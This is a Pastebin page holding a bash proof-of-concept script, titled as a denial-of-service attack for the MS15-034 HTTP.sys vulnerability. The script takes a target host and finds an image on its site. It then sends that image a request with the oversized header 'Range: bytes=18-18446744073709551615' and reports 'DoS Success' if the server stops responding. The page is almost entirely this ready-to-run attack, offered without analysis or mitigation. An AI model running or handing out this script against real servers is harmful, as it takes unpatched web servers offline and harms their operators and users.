Advertisement
Kl0nEz

ms15-034 bash DoS PoC

Apr 15th, 2015
586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.69 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. command="wget -q -O"
  4. targethost=$1
  5. echo "Trying to connect to $targethost"
  6. $command /dev/null http://$targethost && echo "connected !!!!" || echo "Fail"
  7. echo "Trying to get some image"
  8. firstimage=`$command - http://$targethost | grep "img src=" | sed 's/.*img src=\(.*\.png\).*/\1/g' | head -n 1 | xargs`
  9. echo "Trying to send a DoS code with this http://$targethost$firstimage"
  10. $command /dev/null http://$targethost$firstimage && $command /dev/null --header "Range: bytes=18-18446744073709551615" http://$targethost$firstimage
  11. echo "Waiting some seconds"
  12. sleep 5
  13. echo "Testing if DoS code worked"
  14. $command /dev/null http://$targethost && echo "DoS Fail :( " || echo "DoS Success !!!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement